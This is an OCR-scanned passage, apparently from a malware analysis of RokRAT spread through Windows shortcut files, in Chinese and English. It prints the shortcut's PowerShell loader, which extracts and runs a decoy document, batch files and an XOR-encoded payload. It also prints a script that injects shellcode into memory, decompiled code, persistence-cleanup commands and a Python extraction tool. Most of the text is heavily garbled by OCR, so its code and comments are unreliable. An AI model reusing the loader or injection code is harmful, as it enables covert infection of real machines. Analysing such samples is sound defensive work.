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/k for /f “tokens="" %a in (‘dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b fod') do call %a “$dirPath = Get-Location; if($dirPath -Match ‘System32' -or
$dirPath -Match 'Program Files') {$dirPath = '%temp3%'};Sexs=@(".Ink');$InkPath = Get-ChildItem -Path $SdirPath -Recurse *.* -File | where {$_.extension -in $exs} | where-object
{$_.length -eq 0x0DD4B11F} | Select-Object -ExpandProperty FullName ;$InkFile= New-Object System.lO.FileStream($InkPath, [System.10.FileMode]::Open,
[System.|O.FileAccess]::Read);$InkFile.Seek(0x0000111E, [System.lO.SeekOrigin]:Begin); $pdfFile=New-Object byte[] 0x0000AD36;S$InkFile.Read ($pdfFile, 0,
0x0000AD36);$pdfPath = $inkPath.replace(".Ink’, .hwpx');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath:SInkFile.Seek(0x0000BES4,
[System.|0.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9190;§InkFile.Read($exeFile, 0, 0x000D9190);$exePath=S$env:temp + \caption.dat';sc $exePath $exeFile -
Encoding Byte;$InkFile.Seek(0x000E4FE4, [System.l0.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x00000636;$InkFile.Read($stringByte, 0, 0x00000636); $batStrPath =
Senv:temp+"\elephant.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath SbatStrPath -Encoding ascii:$InkFile.Seek(0x000ES61A,
[System.|O.SeekOrigin]::Begin); $batByte = New-Object byte[] 0x00000147;$InkFile.Read ($batByte, 0, 0x00000147);$ Path = § p+"\sharke.bat'; Write-Host
SexecutePath; Write-Host ShatStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath SexecutePath -Encoding ascii;
&$executePath; $IinkFile.Close(); remove-item -path $InkPath -force; “&& exit
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$exePath = Senv:itemp + "\caption.dat’;

$exeFile = Get-Content -Path SexePath -Encoding Byte;
$len = SexeFile.Count;

$newExeFile = New-Object Byte[] $len;

$xK = 'd’;

for ($i = 0; $i -It Slen; $i++) {
SnewExeFile[$i] = $exeFile[$i] -bxor $xK[0];
}

[Met.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dIl' + [System.Text.Encoding]::UTF8.GetString(34);

$a290234s = ‘[Dllimport(’ + $k1123 + ")]public static extern IntPtr GlobalAlloc(uint b,uint c);’;
$b = Add-Type -MemberDefinition $a90234s -Name "AAA" -PassThru;

$d3s9sdf = '[Dllimport(’ + $k1123 + *)]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);’;
$290234sb = Add-Type -MemberDefinition $d3s9sdf -Name "AAB’ -PassThru;

$b3s9s03sfse = '[Dlllmport(’ + $k1123 + *)]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr ¢ IntPtr d,uint e IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b359503sfse -Name 'BBB" -PassThru;

$dtts9s03sd23 = "[Dlllmport(’ + $k1123 + ")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);’;
$fried3sd23 = Add-Type -MemberDefinition $dtts95035d23 -Name 'DDD" -PassThru;

$byteCount = $newExeFile.Length;
$huffer = Sh::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;

$290234sh::VirtualProtect($Sbuffer, $byteCount + 0x100, 0x40, [ref]Sold);

for ($i = 0; $i -It ShyteCount; $i++) {
[System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, SnewExeFile[$i]);
I

$handle = $cake3sd23:CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);
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int (__stdcall *start())(_DWORD, _DWORD)

{
void (_ stdcall *callbackFunction)(int, int, int); // =ax
int functionResult; // =ax

nt { stdcall *finalResult)( DWORD, DWORD); // eax

t paraml; [/ [esp-Ch] [ebp-1Ch]

t param2; ff [esp-8h] [ebp-18h]

nt param3; /f [esp-4h] [ebp-14h]

t refParam; // [esp+8h] [ebp-18h] BYREF

t (_ stdcall *fallbackFunction)( DWORD, DWORD); // [esp+4h] [ebp-Ch]

e e e e e e
B T T T |

callbackFunction = (sub_491841)(0x5BCD174B, &refParam, 16, @);
callbackFunction(paraml, param2, param3);

functionResult = sub_48157C();

finalResult = sub_401134(functionResult, &refParam);

! 1Result && refParam )

= fallbackFunction;
ackFunction )

lbackFunction{®, @);
¥

return finalResult;
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del "%appdata%MicrosoftWindowsStart reg delete

MenuProgramsStartup*.VBS" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\F
"%appdata%*.CMD" "%appdata%*.BAT" /v OfficeBootPower /f & reg delete

"%appdata%*01" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\R

"%appdata%MicrosoftWindowsStart /v OfficeBootPower /f & del c:\programdata\30
MenuProgramsStartup*.Ink"

"Y%allusersprofile%MicrosoftWindowsStart

MenuProgramsStartup*.Ink" /F /Q
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1.

def parse rokrat Ink file(lnk path, out path):

# SRR LNK X, 3REX 1nk command
try:
with open(lnk path, 'rb') as 1lnk file handle:
Ink = LnkParse3.lnk file(lnk file handle)
Ink command = lnk.lnk command
except Exception as e:
print (£"JC/AEER LNK 3XCfF: (e}™)
return
# DUECHRE A 4R
pattern = re.compile (
r'SlnkFile.Seek ((0x[0-9A-F]+),s*[System.IO.SeekOrigin]
r'.*?New-Object byte[] (0x[0-9A-F]+);"'
r'.*?$ (w+)Path',
re.DOTALL | re.IGNORECASE
)

matches = pattern.findall (1nk command)
# AL vk XHRA
try:

with open(lnk path, 'rb') as lnk handle:

Ink content = bytearray(lnk handle.read())

except Exception as e:

print (£"JiAEEL LNK AFRE : (e)")

return

exe content = None

::Begin) ;
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key match = []
# AMEILACER | RECUHERNA
for match in matches:
seek = int (match[0], 16)
length = int (match[1l], 16)
filename = match[2]
file content = lnk content[seek:seek + length]
# TR B AT RITXHRS
if len(str(len(file content))) == 6:
exe content = file content
t REXHRNEFTEREE "bxor"

if b"bxor" in file content:

try:
key pattern = re.compile (
r"Swts*=s*[""] ([*'""]4) ['"];s*fors* ([") ]*)s*x{["=]+=["-]+-
bxor",
re.DOTALL | re.IGNORECASE
)
decoded content = file content.decode('utf-8', errors='ignore')

key match = key pattern.findall (decoded content)
except Exception as e:
print (£"MBEXHRNBREEMR : (e} ")
# RIEFRRERAISC
try:
os.makedirs (out path, exist ok=True)
with open(os.path.join(out path, filename), 'wb') as f:
f.write(file content)
print (f"EJ,—i_':HXi‘f'—'F :{filename}")
except Exception as e:
print (£"EAXHRNAELER : (e} ™)
# ANRIRFITHITRABMELS , W THER
if exe content and key match:
decrypted data = bytearray ()
key char = key match[0]
try:

for byte in exe content:

8/10



A

decrypted data.append (byte ord (key char))
with open(os.path.join(out path, "rokrat shellcode"), 'wb') as f:
f.write(decrypted data)
print ("EfF®%EIF{RTFE RokRat Shellcode")
try:
offset = 0x58b
if len(decrypted data) >= offset + 5: # R A EBHEIE
# 2B xOR 4R
xor key = decrypted data[offset]
# IREUNERIENKE (4 MF , BRA/INGFF)

encrypted length bytes = decrypted datal[offset + l:offset +
5]

encrypted length = int.from bytes (encrypted length bytes,
byteorder="little'")

# IREUINEEE

encrypted data = decrypted data[offset + 5:offset + 5 +
encrypted length]

if len(encrypted data) == encrypted length:
# {FRRENN XOR BMBMAEEUR
final decrypted data = bytearray()

for byte in encrypted data:

final decrypted data.append(byte "~ xor key)
# BIREERBEE \TEE
with open(os.path.join(out path, "rokrat"), 'wb') as f:

f.write(final decrypted data)

print ("EfFEIRE RokRat")

else:

print ("INEHIRHSREAK ESREK EARLE, ")
else:
print ("BEHIEKERE , TAREHSIKEES. ")
except Exception as e:
print (£"7E{RFS 0x58b ALMEEMIERTALER @ (e)"™)
except Exception as e:
print (£"fEEMIENRER : (e} ")
else:

print ("RIRETPITABTHELS , BELSEEHRT ., )

2%
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